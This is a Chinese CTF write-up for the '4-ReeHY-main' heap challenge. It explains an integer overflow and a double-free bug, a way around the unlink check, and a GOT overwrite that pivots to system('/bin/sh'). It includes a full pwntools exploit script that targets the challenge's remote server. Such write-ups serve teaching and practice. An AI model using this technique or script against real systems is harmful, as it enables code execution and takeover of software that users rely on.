一、ALL
这题也是一般堆溢出的流程,主要有下面几个操作
1.创建
input_cun = N;
if ( N <= 4 )
{
puts("Input size");
input_cun = Get_Number();
LODWORD(input_size) = input_cun;
if ( input_cun <= 4096 )
{
puts("Input cun");
input_cun = Get_Number();
cun = input_cun;
if ( input_cun <= 4 )
{
dest = malloc((signed int)input_size);
puts("Input content");
if ( (signed int)input_size > 0x70 )
{
read(0, dest, (unsigned int)input_size);
}
else
{
read(0, &buf, (unsigned int)input_size);
memcpy(dest, &buf, (signed int)input_size);
}
*(_DWORD *)(AllSize + 4LL * cun) = input_size;
*((_QWORD *)&AllAddr + 2 * cun) = dest;
isExists[4 * cun] = 1;
++N;
input_cun = fflush(stdout);
}
}
}
这一段代码比较多,但可以看到问题还是存在的,size和cun都是可以通过输入负数,接着通过强类型转换`unsigned int`来转换成很大的整数来整形溢出。
2.删除
v1 = result;
if ( (signed int)result <= 4 )
{
free(*((void **)&AllAddr + 2 * (signed int)result));
isExists[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)(N-- - 1);
}
可以看到这里也是存在问题的,删除之前没有判断块是否被删除了,所以应该可以构造`double-free`
3.编辑
v1 = result;
if ( result <= 4 )
{
result = isExists[4 * result];
if ( result == 1 )
{
puts("Input the content");
read(0, *((void **)&AllAddr + 2 * v1), *(_DWORD *)(4LL * v1 + AllSize));
result = puts("Edit success!");
}
}
这里就是正常的编辑,不过验证了块是否存在。
二、DOUBLE-FREE
一年前做过一道`double-free`之后就再也没碰过了,这里正好把相关知识点再温习一下。
堆结构如下,其中0,1,2,3表示一个单位长度。
struct malloc_chunk {
[p + 0] INTERNAL_SIZE_T prev_size; /* 前一个空闲chunk的大小*/
[p + 1] INTERNAL_SIZE_T size; /* 字节表示的chunk大小,包括chunk头 */
[p + 2] struct malloc_chunk* fd; /* 双向链表 -- 只有在被free后才存在 */
[p + 3] struct malloc_chunk* bk; /* fd:前一个空闲的块 bk:后一个空闲的块*/
struct malloc_chunk* fd_nextsize; /*块大小超过512字节后会有这两个指针*/
struct malloc_chunk* bk_nextsize;
};
补充说明:
1.prev_size :前一块被free的话则为空闲块的大小,前一块未被free的话则为0
2.size : 因为chunk是四字节对齐所以size的低三位一定是0,被用来做flag
正常`unlink`的函数主要代码如下:
#define unlink(AV, P, BK, FD) {
FD = P->fd; //p +
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
......
}
如果能覆盖一个块的头部来达到控制其`bk`和`fd`的话,就能够成功修改任意地址的值了,但由于存在判断`FD->bk != P || BK->fd != P`,所以没法随便修改,这时就需要利用`double-free`了。
首先判断是需要通过的,所以可以有下面两个等
FD->bk = P <=> FD+3 = P
BK->fd = P <=> BK+2 =
接着就是构造一个堆头满足这两个等式了
pre_size 0
size chunk_size + 1 //这两个条件表示堆仍在使用中
fd p_addr - 3
bk p_addr - 2
那么就能得到绕过判断后能实现的效果
FD->bk = BK => P = BK = P - 2
BK->fd = FD => P = FD = P - 3
所以最后实现的效果是`P=P-3`。
接着就是实现`double-free`的流程了,稍微盗一下图...
1.新建两个chunk分别为chunk0和chunk1
chunk0 malloc返回的ptr chunk1 malloc返回的ptr
| | | |
+-----------+---------+---+---+-------------+------+------+----+----+------+
| | | | | | | | | | |
| | | | | | prev | size&| | | |
| prev_size |size&Flag| | | | size | flag | | | |
| | | | | | | | | | |
| | | | | | | | | | |
+-----------+---------+---+---+-------------+------+------+----+----+------+
2.free掉这两个块,第一块作为稍后unlink的块,另一块作为free的块
3.新建一个块,这个块要能覆盖到chunk1的头部,从而伪造两个chunk的头,chunk0的头部之前已经说过了,而chunk1需要欺骗操作系统chunk0是已经被free了的,所以其头部应该如下
pre_size chunk0_size
size chunk1_size
然后整体实现如下:
chunk0 malloc返回的ptr chunk1 malloc返回的pt
| | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
| | |fake|fake|fake|fake| D | fake | fake | | | |
| | |prev|size| FD | BK | A | prev | size&| | | |
| prev_size |size&Flag|size| | | | T | size | flag | | | |
| | | | | | | A | | | | | |
| | | | | | | | | | | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|-------new_chunk0-------|
4.那么新建这个块就相当于是两个块了,然后我们free chunk1,就能实现unlink chunk0从而使得chunk0的地址存放的值变成了P-0x18
5.接下来修改chunk0的值,修改的值为0x18个padding,然后就能修改chunk0的地址的值了,这时修改成free的GOT表地址
6.接下来再修改一次chunk0, 这次的值修改成system那么就会使得free的GOT表指向system,接下来free的时候传入/bin/sh就能获取shell了
三、 EXP
在调试EXP过程中出现了这样俩个问题,需要注意一下。
第一个是这里的P指的是指向堆地址的指针,也就是`0x6020e0`,不要误以为是堆的地址哦。
第二个在这里我是把`/bin/sh`写在第0个堆,而用2,3来进行`double-free`,主要原因是由于在调试的过程中发现把`/bin/sh`写后面会被系统发现`double-free`。
具体EXP:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import sys
context.log_level = "debug"
def Welcome():
p.recvuntil("$ ")
p.sendline("mutepig")
def Add(size,id,content):
p.recvuntil("$ ")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("cun\n")
p.sendline(str(id))
p.recvuntil("content\n")
p.sendline(content)
def Remove(id):
p.recvuntil("$ ")
p.sendline("2")
p.recvuntil("dele\n")
p.sendline(str(id))
def Edit(id,content):
p.recvuntil("$ ")
p.sendline("3")
p.recvuntil("edit\n")
p.sendline(str(id))
p.recvuntil("content\n")
p.send(content)
if __name__ == "__main__":
if len(sys.argv)==1: # local
p = process("./4-ReeHY-main")
libc = ELF('libc.so.6')
else:
p = remote('211.159.216.90', 51888)
libc = ELF('ctflibc.so.6')
#gdb.attach(proc.pidof(p)[0],"b *0x400c29\n")
#+==================INIT=====================================
elf = ELF('4-ReeHY-main')
libc_atoi = libc.symbols['atoi']
libc_system = libc.symbols['system']
libc_binsh = next(libc.search("/bin/sh"))
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
heap_addr = 0x602100
#+==================INIT=====================================
print hex(free_got)
Welcome()
Add(512,0,"/bin/sh\x00")
Add(512,1,"1")
Add(512,2,"2")
Add(512,3,"3")
Remove(3)
Remove(2)
payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'A'*(512-0x20) + p64(512) + p64(512)
Add(1024,2,payload)
Remove(3)
Edit(2,'1'*0x18 + p64(free_got) + p64(1) + p64(atoi_got)+ "\n")
Edit(2,p64(puts_plt))
Remove(3)
atoi_addr = u64(p.recv(8)) & 0xffffffffffff
base_addr = atoi_addr - libc_atoi
system_addr = base_addr + libc_system
log.success("systebm:" + hex(system_addr))
Edit(2,p64(system_addr))
Remove(0)
p.interactive()
也可以参照我的博客:http://www.mutepig.club/index.php/archives/23/
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界